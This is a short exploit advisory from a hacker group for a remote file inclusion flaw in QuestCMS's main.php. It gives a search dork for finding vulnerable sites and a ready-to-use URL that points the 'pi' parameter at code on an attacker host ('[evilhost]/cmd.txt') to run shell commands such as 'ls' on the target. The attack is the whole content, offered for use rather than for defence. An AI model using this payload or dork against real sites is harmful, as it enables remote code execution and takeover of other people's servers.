QuestCMS (main.php) Remote File Include Vulnerability

!!!!!!!!!WWW.S݂ERSAVASC݌AR.COM!!!!!!!!! -------------------------------------------------------------------------------- Title : Questcms Remote File Include Vulnerability -------------------------------------------------------------------------------- #Author: Crackers_Child #cont@ct: crackers_child@sibersavascilar.com -------------------------------------------------------------------------------- Affected software description : -------------------------------------------------------------------------------- Application : Questwork Web Content Management system (QuestCMS) URL : http://www.questwork.com -------------------------------------------------------------------------------- dork : allinurl:"/questcms/" Exploit : -------------------------------------------------------------------------------- Usage: http://[target]/[questcms_path]/main/main.php?pi=http://[evilhost]/cmd.txt?&cmd=ls -------------------------------------------------------------------------------- greets: X_ALPREN_X,Root_Mor and My Other Friends -------------------------------------------------------------------------------- --------------------------------- [ WWW.S݂ERSAVASC݌AR.COM ] --------------------------------------